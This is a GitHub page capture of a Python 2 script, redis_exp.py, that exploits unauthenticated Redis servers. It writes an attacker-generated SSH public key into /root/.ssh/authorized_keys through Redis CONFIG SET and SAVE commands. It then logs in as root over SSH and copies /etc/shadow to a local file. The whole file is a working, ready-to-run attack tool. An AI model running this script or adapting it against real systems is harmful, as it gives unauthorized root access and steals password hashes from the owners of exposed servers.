-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathredis_exp.py
90 lines (68 loc) · 2 KB
/
redis_exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python
#coding:utf8
"""
exploit Redis unauthorized access to get file /etc/shadow
python redis.py -h ip [-p port] -s [ssh_port]
"""
import os
import sys
import getopt
import time
def main(ip, port, ssh):
print ip,':',port,' and ssh port',ssh
rsa_pub = './tttid_rsa.pub'
rsa = './tttid_rsa'
rsa_pub_f = './tttfoo.txt'
if not os.path.exists(rsa):
cmd = 'ssh-keygen -t rsa -P \'\' -f '+rsa
foutput = os.popen(cmd)
time.sleep(10)
cmd = '(echo -e "\n\n";cat '+rsa_pub+';echo -e "\n\n")>'+rsa_pub_f
foutput = os.popen(cmd)
cmd = 'ssh-add '+rsa
foutput = os.popen(cmd)
if not os.path.exists(rsa) or not os.path.exists(rsa_pub_f):
print 'keygen error'
sys.exit()
cmd = 'echo 111 | redis-cli -h '+ip+' -p '+str(port)
foutput = os.popen(cmd)
# if foutput.read().find('OK') == -1 :
# print foutput.read()
# sys.exit()
# print cmd,' OK!'
cmd = 'cat '+rsa_pub_f+' | redis-cli -h '+ip+' -p '+str(port)+' -x set crackit'
foutput = os.popen(cmd)
cmd = 'echo config set dir /root/.ssh/ | redis-cli -h '+ip+' -p '+str(port)
foutput = os.popen(cmd)
cmd = 'echo config set dbfilename "authorized_keys" | redis-cli -h '+ip+' -p '+str(port)
foutput = os.popen(cmd)
cmd = 'echo save | redis-cli -h '+ip+' -p '+str(port)
foutput = os.popen(cmd)
# cmd = 'echo yes | ssh -i '+rsa+' root@'+ip+' -p '+str(ssh)
# #scp -i id_rsa root@ip:/etc/shadow .
# foutput = os.popen(cmd)
cmd = 'echo cat /etc/shadow | ssh -i '+rsa+' root@'+ip+' -p '+str(ssh)
#scp -i id_rsa root@ip:/etc/shadow .
foutput = os.popen(cmd)
print 'save shadow to file ./',ip
output = open(ip, 'w')
output.write(foutput.read())
output.close()
if __name__ == '__main__':
ip = ''
port = 6379
ssh = 22
options,args = getopt.getopt(sys.argv[1:],"h:p:s:")
for opt,arg in options:
if opt == '-h':
ip = arg
elif opt == '-p':
port = arg
elif opt == '-s':
ssh = arg
if ip == '' :
#print '\033[1;31;40m'
print 'python redis.py -h ip [-p port] -s [ssh_port]'
#print '\033[0m'
sys.exit()
main(ip, port, ssh)